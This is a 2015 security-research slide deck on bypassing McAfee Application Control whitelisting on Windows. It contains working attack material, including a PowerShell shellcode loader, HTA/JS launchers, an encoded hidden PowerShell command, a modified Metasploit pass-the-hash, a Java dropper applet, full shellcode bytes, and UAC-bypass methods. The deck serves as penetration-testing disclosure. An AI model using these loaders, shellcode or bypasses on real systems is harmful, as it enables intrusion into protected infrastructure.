Bypassing McAfee‘s Application Whitelisting for critical infrastructure systems

Version: 1.0
Date: 06.11.2015
Author: R. Freingruber
Responsible: R. Freingruber
Confidentiality Class: Public
Agenda

- SEC Consult
- Application Whitelisting
- Overview - McAfee Application Control
- Bypassing Application Whitelisting
  - Basic Code Execution
  - Full Code Execution
  - Memory Corruption Protections
  - User Account Control (UAC)
- Bypassing Read- and Write-Protection
- The Kernel Side
- Demos
- Conclusion
Founded 2002
Leading in IT-Security Services and Consulting
Strong customer base in Europe and Asia
60+ Security experts
350+ Security audits per year
Application Whitelisting
Application Whitelisting

- **Idea**
  - Servers - few applications (webserver, database server, anti virus product, ...)
  - Applications change very rarely
  - ➔ Prevent the execution of other applications
  - ➔ This prevents the execution of „unwanted applications“ (viruses, malware, applications from hackers, and so on)
Application Whitelisting

- Main field of application
  - Systems in critical infrastructures (e.g. SCADA environments)
  - Important company systems / servers
  - Workstations with high security requirements (administrative workstations)
  - Kiosk systems
  - ....
Application Whitelisting

• Solutions:
  • McAfee Application Control (Solidcore)
  • Microsoft AppLocker
  • Bit9 Parity Suite
  • CoreTrace Bouncer
  • Lumension Application Control
  • SignaCert Enterprise Trust Services
In-depth look at application whitelisting

- Big problem of application whitelisting
  - How should updates be handled?

- Implementation details
  - Store path of application in whitelist
    - Fast, but what if attacker modifies the executable?
  - Store hashsum of application in whitelist?
    - Slow, but what if application has an update mechanism?
  - Protection of additional files
    - Protection of libraries
    - Protection of scripts
    - Configuration files of the application / the database file
Overview - McAfee Application Control
McAfee Application Control

- Only Windows version covered in this talk
  - Only Windows license available during customer project

- Tests done for version 6.1.3.353
  - Windows XP x86
  - Windows 7 x86
  - Windows 8.1 x64
  - Windows 2008R2 x64 (not working)
Bypassing McAfee's Application Whitelisting for critical infrastructure systems

- "Solidify" the system:

```
C:\Program Files\McAfee\Solidcore> sadmin solidify
Password:
Enumerating installed products.
Solidifying volume C:\
00:00:48: Total files scanned 11426, solidified 2591
```

```
C:\\Program Files\\McAfee\\Solidcore\\sadmin status
McAfee Solidifier: Disabled
McAfee Solidifier on reboot: Disabled

ePO Managed: No
Local CLI access: Recovered

[fstype] [status] [driver status] [volume]
* NTFS Solidified Unattached C:\
```

```
C:\\Program Files\\McAfee\\Solidcore\\sadmin enable
Password:
McAfee Solidifier will be enabled without Memory Protection on service restart.
Memory Protection will be available on next reboot.
```
McAfee Application Control

- Application Whitelisting protects against execution of not whitelisted applications or scripts.
McAfee Application Control

- Other features:
  - Write protection
    - Mandatory because of the design of the application!
    - Application just stores the path to the executable
    - Write protection prevents attacker from overwriting whitelisted applications
  - Read protection
    - Used e.g. to protect the whitelist or the password-hash file
  - Memory Corruption protection
    - Important because memory corruptions can be used to bypass application whitelisting
McAfee Application Control - Updaters

C:\>sadmin updaters list
Password:
   -d  -t  Apache1
   -t  Apple1
   -t  AdobeArmsvc1
   -t  SERVERROLES1
   -t  McAfee42
   -t  McAfee25
   -t  McAfee43
   -t  MVM2
   -t  MVM1
   -t  McAfee32
   -t  FlashplayerUpdateService1
   -t  McAfee18
   -t  McAfee1
   -t  McAfee10
   -t  McAfee36
   -t  McAfee35
   -t  McAfee39
   -t  McAfee37
   -t  McAfee23
   -t  McAfee22
   -t  McAfee16
      apache.exe
      Apple Software Update\softwareupdate.exe
      armsvc.exe
dism.exe
ePolicy Orchestrator\EventParser.exe
ePolicy Orchestrator\Server\bin\tomcat5.exe
ePolicy Orchestrator\Server\bin\tomcat7.exe
FCAgent.exe
FCPatchInstallAgent.exe
firesvc.exe
FlashplayerUpdateService.exe
FramePkg.exe
Frameworkservice.exe
Framew~1.exe
FSAssessment.exe
FSDiscovery.exe
FSScanCtrlSvc.exe
FSScanEngineSvc.exe
HIPSvc.exe
HtmlIDlg.exe
iexplore.exe -l mcinsctl.dll
McAfee Application Control - Updaters

-d -t HP_Quality_Center1 iexplore.exe -l QCClient.UI.Core.dll
-d -t J2RE2 ikernel.exe -p svchost.exe
-d -t J2RE1 ikernel.exe -p winlogon.exe
-d -t JavaUpdate2 Java\Java Update\jucheck.exe
-d -t JavaUpdate1 Java\Java Update\jusched.exe
-d -t McAfee46 McAfee\Real Time\rtclient.exe
-d -t McAfee9 Mcappins.exe
-d -t McAfee41 McCHSvc.exe
-d -t McAfee14 mcmnhdlr.exe
-n -t McAfee19 mcdms.exe
-d -t McAfee31 McSAcore.exe
-d -t McAfee8 McScript.exe
-d -t McAfee11 McScript_InUse.exe
-d -t McAfee20 mcshell.exe
-d -t McAfee7 Mcshield.exe
-d -t McAfee40 McSvHost.exe
-d -t McAfee44 McTELSvc.exe
-d -t McAfee45 McTELUpd.exe
-d -t McAfee30 McTray.exe
-d -t McAfee3 Mcupdate.exe
-d -t McAfee4 Mcupdmgr.exe
-d -t McAfee12 McVSEscn.exe
-d -t McAfee15 Mcsvrte.exe
-d -t McAfee13 mcvsshld.exe
McAfee Application Control - Updaters

-d  -t McAfee24  mer.exe
    -t McAfee5  Mgh.html.exe
    -t MozillaMaintenanceService1  Mozilla Maintenance Service\maintenanceservice.exe
    -t McAfee2  Msshield.exe
    -t McAfee21  myAgtSvc.exe
    -t Nvidiadaemonu1  NVIDIA Corporation\NVIDIA Update Core\daemonu.exe
    -t McAfee38  ReportServer.exe
    -t MCGroupShield1  RPCServ.exe
    -t McAfee34  RSSSensor.exe
    -t McAfee29  SBadduser.exe
    -t McAfee17  scan32.exe
    -t PRINTER1  spoolsv.exe
    -t McAfee33  Supportability\MVT\MvtApp.exe
    -t METROAPP1  svchost.exe -l appxdeploymentserver.dll
    -t METROAPP2  svchost.exe -l wsservice.dll
    -t WindowsSQMconsolidator1  system32\Wsqmcons.exe
    -t SERVERROLES2  tiworker.exe
    -t McAfee4  udaterui.exe
    -t McAfee26  VirusScan Enterprise\VsTskMgr.exe
    -t McAfee28  VirusScan Enterprise\x64\EngineServer.exe
    -t McAfee27  VirusScan Enterprise\x64\Scan64.exe
    -t WINDOWS1  webfldrs.msi
McAfee Application Control – Memory Protection

• “In addition, it prevents whitelisted applications from being exploited via memory buffer overflow attacks on Windows 32- and 64-bit systems.”
  

• “Key Advantages: Protect against zero-day and APTs without signature updates.”
  

• “Whitelisted programs that might contain some inherent vulnerabilities cannot be exploited through a buffer overflow.”
  
McAfee Application Control

Kernel space

Kernel driver swin1.sys

User space

Inter Process Communication (IPC)

IOCTL-codes

Console application sadmin.exe

Service Scsrvc.exe

types commands

User
Bypassing Application Whitelisting
Bypassing Application Whitelisting

- **Problem:** We cannot execute our own application

- **Solution:** Abuse installed / whitelisted applications
  - Find a whitelisted application which can be used to execute code
  - Should be whitelisted on all systems
    - Windows specific executables
    - Executables installed by McAfee Application Control
    - Executables installed by common 3rd party tools (e.g. Office)
PowerShell

- Pentesters best friend – **PowerShell**

- Available **since Microsoft Windows Vista**

- **Whitelisted per default** by „solidify“

- Can be used to **invoke shellcode** (even if powershell scripts are disabled)!
PowerShell examples
PowerShell examples

• Which PowerShell script do we start?

• Have a look at PowerSploit!
  • “PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.“
  • [https://github.com/mattifestation/PowerSploit](https://github.com/mattifestation/PowerSploit)
  • Examples: DllInjection, PE-File Injection, Invoke Shellcode, Keylogging, Portscan, Mimikatz, …
PowerShell examples

```powershell
$code = @"[
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
""
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru
[Byte[]]$sc = 0xfc,0xe8,0x89,*OTHER SHELLCODE*,0x63,0x00
,size = 0x1000
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
for ($i=0;$i -le ($sc.Length-1);$i++)
{$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
$winFunc::CreateThread(0,0,$x,0,0,0)

Script from Social Engineering Toolkit (SET), original author: Matthew Graeber (minor modifications by myself)"
Bypassing Application Whitelisting

• Recap:
  • If we can manage to start PowerShell we can start any code which we like (including shellcode, .DLL and .EXE files)

• How do we start PowerShell?
  • We cannot put it into a .bat file since .bat files are also protected by Application Whitelisting!

• Idea
  • Devide task of „code execution“ into two steps
  • Step 1 – basic code execution (e.g. scripts)
  • Step 2 – full code execution (e.g. Powershell)
Attack vectors

• Focus on real world attacks
  • We want to protect against real world attacks
  • Therefore we have to test exactly these scenarios!

• Common attack vectors
  • Any kind of social engineering
  • Java Applets / Drive-by-Downloads
  • Microsoft Office Macros
  • Memory Corruption Exploits (Browser, PDF Reader, Microsoft Office, ...)
  • Web application vulnerabilities (command injection, SQL injection, file uploads, ...)

• Focus on real world attacks
  • We want to protect against real world attacks
  • Therefore we have to test exactly these scenarios!
Basic Code Execution
Basic Code Execution

- Simple ideas:
  - **User in front of a system** (Kiosk systems, Social Engineering, ...)
  - Malicious USB stick (**rubber ducky**)

```plaintext
REM My First Payload
WINDOWS r
DELAY 100
STRING notepad.exe
ENTER
DELAY 200
STRING Hello World! I'm in your PC!
```
Basic Code Execution

• What if we don’t have such a possibility?

• Attack scenario
  - Send victim a file
  - Victim opens/starts the file
  - Victim is infected

• Typically this is not possible
  - .exe, .dll, .bat, .com, and many many many more are checked and blocked!
  - However, they forgot some .... 😊
Basic Code Execution

• Abuse of **unchecked file types** – HTA

```html
<html>
<head>
<script language="VBScript">
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "calc.exe"
</script>
</head>
<body>
</body>
</html>
```
Basic Code Execution

- Abuse of **unchecked file types** – JS

```javascript
var objShell = new ActiveXObject("WScript.shell");
objShell.run('calc.exe');
```

![Calculator interface](image)
Basic Code Execution

- Another attack possibility are **file shortcuts**!

- Just create a shortcut to the required application (e.g. PowerShell)

- Pass arguments inside shortcut
  - With Microsoft explorer we are limited to MAX_PATH
  - Use Microsoft API to create shortcut
Basic Code Execution

What item would you like to create a shortcut for?

This wizard helps you to create shortcuts to local or network programs, files, folders, computers, or Internet addresses.

Type the location of the item:

```
powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABIAA=
```

Click Next to continue.
Basic Code Execution

• Attack scenario: **Web application vulnerability**

• Common vulnerabilities which lead to a system compromise are:
  • SQL injection
  • OS command injection
  • Code injection
  • File upload vulnerability

• In all these cases you have the ability to execute applications, e.g. PowerShell
Basic Code Execution

• **Attack scenario: Pass-the-Hash attack**
  • Frequently used during internal audits
  • Compromise one server, extract local administrator hash, use the hash to authenticate against other servers with the same password

• **Pentesting tool**
  • Metasploit module: psexec
Pass-the-Hash attack

Source: https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/
Pass-the-Hash attack

Source: https://www.offensive-security.com/metasploit-unleashed/pseexec-pass-hash/
**Pass-the-Hash attack**

Source: https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/
Pass-the-Hash attack

- Pass-the-hash attack from metasploit does not work if system is protected by Application Whitelisting

- Reason can be found in code
  
  ```ruby
  # Executes specified Windows Command
  def execute_command(text, bat)
      # Try and execute the provided command
      execute = "%COMSPEC% /C echo #{datastore['COMMAND']}" ~> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
      print_status("#{peer} - Executing the command...")
      begin
          return psexec(execute)
      rescue Rex::Proto::SMB::Exceptions::Error => exec_command_error
          print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
          return false
      end
  end
  ```
Pass-the-Hash attack

- Example: `psexec` command is „whoami“

- Resulting command:
  ```
  cmd.exe /c
  echo whoami ^> C:\randomName
  > C:\...\temp.bat
  &
  cmd.exe /c start
  cmd.exe /c C:\..\temp.bat
  ```

- Output can be read from:
  ```
  C:\randomName```
Pass-the-Hash attack

- Simple modification:

```python
82 def execute_command(text, bat)
83     # Try and execute the provided command
84     execute = "%%COMSPEC%% /C %{datastore['COMMAND']}"
85     print_status("#{peer} - Executing the command...")
86     begin
87         return psexec(execute)
88     rescue Rex::Proto::SMB::Exceptions::Error => exec_command_error
89         print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
90         return false
91     end
92 end
```

⇒ Pass-the-hash attack **works** against Application Whitelisting protected systems!
Full Code Execution
Full Code Execution

- Already discussed – **PowerShell**

- But we have many more pre-installed applications which we can abuse

- Examples:
  - `Rundll32.exe`
  - Script interpreters (python, perl, PHP, JSP, ...)
  - Debuggers
  - ...
Full Code Execution

- Another way to achieve full code execution is to abuse **Java applets**
- Common real world attack vector
- Does not require the "basic code execution" step
Full Code Execution

- Malicious java applet

```java
public class javaDropper extends Applet
{
    public void paint(Graphics paramGraphics)
    {
        try {
            String file = "malware.exe";
            String destination = System.getenv("TEMP") + "\" + file;
            extractResource(file, new java.io.File(destination));
            String command = "cmd /c start " + destination;
            Process child = Runtime.getRuntime().exec(command);
            /* Code from fake applet */
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```
Full Code Execution

- Simple modification

```java
10 public class javaDropper extends Applet
11 {
12     public void paint(Graphics paramGraphics)
13     {
14         try {
15             String command = "cmd /c powershell -enc YwBhAGwAYwAuAGUAeABI\AA==";
16             Process child = Runtime.getRuntime().exec(command);
17             /* other applet code */
18         } catch (Exception e) { e.printStackTrace(); }
19     }
```
Full Code Execution

• This again uses PowerShell...

• What if there is no PowerShell executable or if it’s not in the whitelist?

• Directly inject code into the Java process
  • „Java Shellcode Execution“ by Ryan Wincey at BSidesCHS 2013
  • https://github.com/schierlm/JavaPayload
Full Code Execution

- Attack vector: **Microsoft Office macros**

- Basically the same as Java applets
  - We can start applications ➔ Launch PowerShell
  - We can inject shellcode ➔ Full code Execution

- Useful tool - `shellcode2vbscript`
  - Written by Didier Stevens
Full Code Execution

- **Attack vector**: Microsoft Office macros

- Basically the same as Java applets
  - We can start applications ➔ Launch PowerShell
  - We can inject shellcode ➔ Full code Execution

- **Useful tool** - shellcode2vbscript
  - Written by Didier Stevens
  - Modify script to work against 64-bit systems
    - Long ➔ LongPtr
    - Use PtrSafe in front of function definition
Full Code Execution

• Attack vector: Memory Corruption Exploitation

• Two possibilities
  • Without „basic code execution“ ➔ E.g. Browser exploit
  • With „basic code execution“ ➔ Exploit a local application to inject code into the whitelisted application
Full Code Execution

• Which local application should we exploit?

• Applications from the operating system
  • 😞 Hard because of protections (full ASLR, DEP, SafeSEH, /GS, CFG, ...)
  • 😞 Different OS version ➔ Different binary version

• Applications installed by McAfee Application Control
  • 😊 On all systems the same binary
  • 😊 Maybe they forgot to enable protections...
Full Code Execution

• Check installed applications by McAfee Application Control:

```plaintext
C:\Program Files\McAfee\Solidcore\Tools\GatherInfo>zip.exe -v
Copyright (C) 1990-1999 Info-ZIP
Type 'zip "-L"' for software license.
This is Zip 2.3 (November 29th 1999) by Info-ZIP.
Currently maintained by Onno van der Linden. Please send bug reports to
the authors at Zip-Bugs@lists.wku.edu; see README for details.
Latest sources and executables are at ftp://ftp.cdrom.com/pub/infozip, as of
above date; see http://www.cdrom.com/pub/infozip/Zip.html for other sites.
Compiled with mingw32 / gcc 2.95.3-6 (mingw special) for
```

• Jackpot: ZIP applications from 1999

![CVE-2004-1010]

7 CVE-2004-1010 Exec Code Overflow 2005-03-01 2015-01-09 10.0 Admin Remote Low
Buffer overflow in Info-Zip 2.3 and possibly earlier versions, when using recursive folder compression, allows remote attackers to execute arbitrary code

• No public information available 😞
Full Code Execution

- Source code available

```c
#ifdef VMS
    strcpy(errbuf, "try: zip \"");
    for (i = 1; i < (first_listarg - 1); i++)
        strcat(strcat(errbuf, argv[i]), "\" ");
    strcat(strcat(errbuf, argv[i]), " \*.* -i");
#else /* !VMS */
    strcpy(errbuf, "try: zip");
    for (i = 1; i < first_listarg; i++)
        strcat(strcat(errbuf, " "), argv[i]);
#endif

#ifdef AMIGA
    strcat(errbuf, " \"\" -i");
#else
    strcat(errbuf, " \ . -i");
#endif
```
Full Code Execution

• See it crash:
Full Code Execution

- **WinDbg !exploitable**

```
C:\Users\...\zip.exe -r test.zip aaaaaaaaaaaaaa.
(5170.fd0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=61616185 ebx=0042d790 ecx=770b2900 edx=00616161 esi=61616185 edi=61616181
eip=77982312 esp=0028fde0 ebp=0028fdf4 iopl=0 n vs ni pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
ntdll!RtlEnterCriticalSection+0x12:
77982312 f00fba3000 lock btr dword ptr [eax],0 ds:002b:61616185=????????
0:000> !exploitable
No export exploitable found
0:000> !load winext\msec.dll
0:000> !exploitable

!exploitable 1.6.0.0
*** WARNING: Unable to verify checksum for image00400000
*** ERROR: Module load completed but symbols could not be loaded for image00400000
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable – User Mode Write AV starting at ntdll!RtlEnterCr
User mode write access violations that are not near NULL are exploitable.
```
Full Code Execution

• Wrap things up:
  • Exactly same binary is available on all systems
  • Binary code is from 1999
  • Lack of security features (DEP, ASLR, ..)
  • Buffer overflow in BSS section
  • We can control:
    • `fflush(*controlled_argument_pointer*)`
    • `free(*controlled_argument_pointer*)`
Memory Corruption Protections
Memory Corruption Protections

• McAfee claims to have „memory corruption“ protections...

• “Whitelisted programs that might contain some inherent vulnerabilities cannot be exploited through a buffer overflow. “

Memory Corruption Protections

- Default settings Windows XP:

<table>
<thead>
<tr>
<th>Feature</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>activex</td>
<td>Enabled</td>
</tr>
<tr>
<td>checksum</td>
<td>Enabled</td>
</tr>
<tr>
<td>deny-read</td>
<td>Disabled</td>
</tr>
<tr>
<td>deny-write</td>
<td>Enabled</td>
</tr>
<tr>
<td>discover-updaters</td>
<td>Enabled</td>
</tr>
<tr>
<td>integrity</td>
<td>Enabled</td>
</tr>
<tr>
<td>mp</td>
<td>Enabled</td>
</tr>
<tr>
<td>mp-casp</td>
<td>Enabled</td>
</tr>
<tr>
<td>mp-vasr</td>
<td>Disabled</td>
</tr>
<tr>
<td>network-tracking</td>
<td>Enabled</td>
</tr>
<tr>
<td>pkg-ctrl</td>
<td>Enabled</td>
</tr>
<tr>
<td>script-auth</td>
<td>Enabled</td>
</tr>
</tbody>
</table>
Memory Corruption Protections

• Default settings Windows 7:
Memory Corruption Protections

• Default settings Windows 8.1:

```
C:\Windows\system32> sadmin features

checksum  Enabled
deny-read Disabled
deny-write Enabled
discover-updaters Enabled
integrity  Enabled
network-tracking Enabled
pkg-ctrl   Enabled
script-auth Enabled
```
Memory Corruption Protections

• Let’s verify...

• Test 1
  • Firefox Array.reduceRight() vulnerability (CVE-2011-2371)
Memory Corruption Protections
Memory Corruption Protections

• Let’s verify…

• Test 1
  • Firefox Array.reduceRight() vulnerability (CVE-2011-2371)
  • Result: Works without modification on first attempt

• Test 2
  • VLC .S3M Stack Buffer Overflow (CVE-2011-1574)
Memory Corruption Protections
Memory Corruption Protections

• Let’s verify...

• Test 1
  • Firefox Array.reduceRight() vulnerability (CVE-2011-2371)
  • Result: Works without modification on first attempt

• Test 2
  • VLC .S3M Stack Buffer Overflow (CVE-2011-1574)
  • Result: Works without modification on first attempt

• Test 3
  • What else to test?
Memory Corruption Protections

➔ Use a debugger

- **Without** McAfee Application Control:

  ![Executable modules table](image)

- **With** McAfee Application Control:

  ![Executable modules table](image)
Memory Corruption Protections

- Inside debugger we get many exceptions

```plaintext
[06:11:57] Access violation when reading [7C80015C] - use Shift+F7/F8/F9 to pass exception to program
```

- McAfee Application Control modifies the memory protection from address 0x7C80015C

- What is stored at 0x7C80015C?
Memory Corruptions Protections

- Memory protections **without** McAfee Application Control
• Memory protections with McAfee Application Control

Memory Corruption Protections
Memory Corruption Protections

➤ Every time an instruction tries to read the PE header of kernel32.dll an exception gets triggered

➤ Code of McAfee Application Control gets executed and can verify if „triggering instruction“ is marked as executable
Memory Corruption Protections

• Bypass:
  • Since DEP is stronger than mp-casp my exploits (which bypass DEP) worked without modification
  • Any technique to bypass DEP just works fine (e.g. ROP)
  • However, since mp-casp is weaker than DEP we have more simple techniques
    • Mark code as executable
    • Mark PE header as readable
    • Both ideas can be accomplished by calling VirtualProtect or VirtualAlloc
Memory Corruption Protections

- Scinject.dll allocates RWE memory after ntdll!
  - This completely compromises DEP from the operating system!
  - We have memory which is write- and executable!
Memory Corruption Protections

• Shellcode (1/4)

```
00401024  . 33D2           XOR EDX,EDX
00401026  . 64:8B72 30     MOV ESI,DWORD PTR FS:[EDX+30] // TEB
0040102A  . 8B76 0C        MOV ESI,DWORD PTR DS:[ESI+C] // => PEB_LDR_DATA
0040102D  . 8B76 0C        MOV ESI,DWORD PTR DS:[ESI+C] // LDR_MODULE InLoadOrder[0]
00401030  . AD             LODS DWORD PTR DS:[ESI] // eax := InLoadOrder[1] (ntdll)
00401031  . 8BF0           MOV ESI,EAX
00401033  . 8B7E 18        MOV EDI,DWORD PTR DS:[ESI+18] // edi = ntdll dllbase
00401036  . 8B5F 3C        MOV EBX,DWORD PTR DS:[EDI+3C] // offset(PE header) of ntdll
00401039  . 8B5C1F 78      MOV EBX,DWORD PTR DS:[EDI+EBX+78] // offset(export table)
0040103D  . 8B741F 20      MOV ESI,DWORD PTR DS:[EDI+EBX+20] // offset name table
00401041  . 03F7           ADD ESI,EDI // esi = &(name table) (convert RVA to abs)
00401043  . 8B4C1F 24      MOV ECX,DWORD PTR DS:[EDI+EBX+24] // offset(ordinals table)
00401047  . 03CF           ADD ECX,EDI // ecx = &(ordinals table) (convert RVA to abs)
find_zwvirtualprotect:
00401049  > 0FB72C51       MOVZX EBP,WORD PTR DS:[ECX+EDX*2] // ebp = possible func ordinal
0040104D  . 42             INC EDX // func number + 1
0040104E  . AD             LODS DWORD PTR DS:[ESI] // eax = offset(function_name)
```

Shellcode (1/4)
Memory Corruption Protections

• Shellcode (2/4)

```plaintext
// func_name == little_endian("ZwPr") ? (from 'ZwProtectVirtualMemory)
0040104F . 813C07 5A77507>CMP DWORD PTR DS:[EDI+EAX],7250775A
00401056 .^75 F1          JNZ SHORT CalcShel.00401049 // jne find_zwvirtualprotect
// func_name == little_endian("otec") ? (from ZwProtectVirtualMemory)
00401058 . 817C07 04 6F74>CMP DWORD PTR DS:[EDI+EAX+4],6365746F
00401060 .^75 E7          JNZ SHORT CalcShel.00401049 // jne find_zwvirtualprotect
00401062 . 8B741F 1C      MOV ESI,DWORD PTR DS:[EDI+EBX+1C] // esi = offset(address table)
00401066 . 03F7           ADD ESI,EDI  // esi = &(address table) => RVA to real address
00401068 . 033CAE         ADD EDI,DWORD PTR DS:[ESI+EBP*4]  // edi = &(ZwProtect...())

// Start pushing arguments for ZwProtectVirtualMemory()
0040106B . 68 EFBEADDE    PUSH DEADBEEF       // (5) space for oldProtect
00401070 . 8BC4           MOV EAX,ESP       // eax ptr to (5) oldProtect
00401072 . 6A 01          PUSH 1            // (2) size
00401074 . 8BCC           MOV ECX,ESP       // ecx ptr to (2) size
```

Shellcode (2/4)
Memory Corruption Protections

- Shellcode (3/4)

```assembly
// getPC
00401076 . EB 0D      JMP SHORT CalcShel.00401085 // jmp down
up:
//pop ebx     // ebx => target addr
//push ebx    // (1) target addr, we can remove both lines because together they make NOP
00401078 $ 8BD4      MOV EDX,ESP     // edx ptr to (1) target addr
0040107A . 50        PUSH EAX       // arg5, ptr to oldProtect (5)
0040107B . 6A 40      PUSH 40        // arg4, new protect
0040107D . 51        PUSH ECX       // arg3, ptr to size (2)
0040107E . 52        PUSH EDX       // arg2, ptr to target addr (1)
0040107F . 6A FF      PUSH -1        // arg1, handle to itself
00401081 . FFD7      CALL EDI       // Call ZwProtectVirtualMemory()
00401083 . EB 05      JMP SHORT CalcShel.0040108A // jmp startCalc
down:
00401085 > E8EEFFFFFF CALL CalcShel.00401078    // call up
```
Memory Corruption Protections

```c
startCalc:
// Standard calc.exe shellcode
0040108A  > 33D2      XOR EDX,EDX
0040108C  . 52        PUSH EDX
0040108D  . 68 63616C63 PUSH 636C6163
00401092  . BBF4      MOV ESI,ESP
00401094  . 52        PUSH EDX
00401095  . 56        PUSH ESI
00401096  . 64:8B72 30 MOV ESI,DWORD PTR FS:[EDX+30]
0040109A  . BB76 0C    MOV ESI,DWORD PTR DS:[ESI+C]
0040109D  . BB76 0C    MOV ESI,DWORD PTR DS:[ESI+C]
004010A0  . AD        LODS DWORD PTR DS:[ESI]
004010A1  . BB30      MOV ESI,DWORD PTR DS:[EAX]
004010A3  . BB7E 18    MOV EDI,DWORD PTR DS:[ESI+18]
004010A6  . BB5F 3C    MOV EBX,DWORD PTR DS:[EDI+3C]
004010A9  . BB5C1F 78 MOV EBX,DWORD PTR DS:[EDI+EBX+78]
004010AD  . BB741F 20 MOV ESI,DWORD PTR DS:[EDI+EBX+20]
004010B1  . 03F7      ADD ESI,EDI
004010B3  . BB4C1F 24 MOV ECX,DWORD PTR DS:[EDI+EBX+24]
004010B7  . 03CF      ADD ECX,EDI
004010B9  > 0FB72C51  MOVZX EBP,WORD PTR DS:[ECX+EDX*2]
004010BD  . 42        INC EDX
004010BE  . AD        LODS DWORD PTR DS:[ESI]
004010BF  . 813C07 57696E4C>CMF DWORD PTR DS:[EDI+EAX],456E6957
004010C6  . ^75 F1    JNZ SHORT CalcShe1.004010B9
004010C8  . BB741F 1C MOV ESI,DWORD PTR DS:[EDI+EBX+1C]
004010CC  . 03F7      ADD ESI,EDI
004010CE  . 033CAE    ADD EDI,DWORD PTR DS:[ESI+EBP*4]
004010D1  . FFD7      CALL EDI
```

Shellcode (4/4)
Memory Corruption Protections

• Compiled:

```c
char shellcode[] = "
\x33\xd2\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b
\xf0\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f
\x20\x03\xf7\x8b\x4c\x1f\x24\x03\xcf\x0f\xb7\x2c\x51\x42
\xad\x81\x3c\x07\x5a\x77\x50\x72\x75\xf1\x81\x7c\x07\x04
\x6f\x74\x65\x63\x75\xe7\x8b\x74\x1f\x1c\x03\xf7\x03\x3c
\xae\x68\xef\xbe\xad\xde\x8b\xc4\x6a\x01\x8b\xcc\xeb\x0d
\x8b\xd4\x50\x6a\x40\x51\x52\x6a\xff\xff\xd7\xeb\x05\xe8
\xee\xff\xff\xff\x33\xd2\x52\x68\x63\x61\x6c\x63\x8b\xff4
\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b
\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f
\x20\x03\xf7\x8b\x4c\x1f\x24\x03\xcf\x0f\xb7\x2c\x51\x42
\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c
\x03\xf7\x03\x3c\xae\xff\xd7"
```
Memory Corruption Protections

• **Mp-casp ➔ Basically the same as DEP**
  - Mp-casp is weaker than DEP
  - Useful only if hardware does not support DEP
  - Downside: The protection destroys DEP from the operating system by allocating RWE memory!

• **Mp-vasr ➔ Basically the same as ASLR**

• **Mp-vasr-forced-relocation ➔ Basically the same as forced ASLR**
User Account Control (UAC)
User Account Control (UAC)

• With the described techniques we can fully bypass Application Whitelisting

• However, we can even disable Application Whitelisting with the next techniques

• Some of these techniques require administrative privileges

• ➔ We have to bypass User Account Control (UAC)
User Account Control (UAC)

What UAC does?

- Create two access tokens for the user
  - Standard user access token
  - Full Administrator access token
- Credential Prompt
- Consent Prompt
User Account Control (UAC)

- Not working techniques:
  - Metasploit:
    ```bash
    meterpreter > run bypassuac
    [*] Creating a reverse meterpreter stager: LHOST=127.0.0.1 LPORT=4546
    [*] Running payload handler
    [*] Uploading Windows UACBypass to victim machine.
    [*] Bypassing UAC Restrictions on the system...
    [*] Meterpreter stager executable 73802 bytes long
    [*] Uploaded the agent to the filesystem...
    [*] Executing the agent with endpoint 127.0.0.1:4546 with UACBypass in effect...
    [*] C:\Users\user\AppData\Local\Temp\SEzglTCd.exe /c %TEMP%\QeAGkLrVjetZ.exe
    [-] Error in script: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
    ```
  - Leo Davidson „sysprep“ method
    - Attacks DLL loading from sysprep
    - Most commonly used technique
  - Wusa method (Carberp – leaked banking trojaner)
    - Use wusa.exe to write to „secure“ directory
    - Extended version is working
User Account Control (UAC)

- Working techniques:
  - Application Compatibility Shim RedirectEXE method
    - Install a SHIM to redirect execution
    - Signature file is not redirected
    - Only working on 32-bit systems
  - ISecurityEditor Simda method
    - Undocumented ISecurityEditor object can disable UAC
    - Permanently disables UAC
  - Some others
Bypassing Read- and Write-Protection
Bypassing Read- and Write-Protection

• Write protection to protect users from overwriting whitelisted applications / scripts

• Read protection to protect users from reading the database or password-hash file

• Protections enforced by the kernel driver (swin1.sys)

• Some processes can bypass the protections!
Bypassing Read- and Write-Protection

• Updaters can bypass Write-Protection and partial Read-Protection
  • Code injection does not require administrative privileges

• Scsrvc.exe can bypass full Read-Protection
  • Code injection requires administrative privileges
  • Full read-Protection means that the process can read special files (e.g. whitelist database or password hash files)
Bypassing Read- and Write-Protection

C:\>sadmin updaters list
Password:
   -d -t Apache1       apache.exe
   -t Apple1           Apple Software Update\softwareupdate.exe
   -t AdobeArmsvc1     armsvc.exe
   -t SERVERROLES1     dism.exe
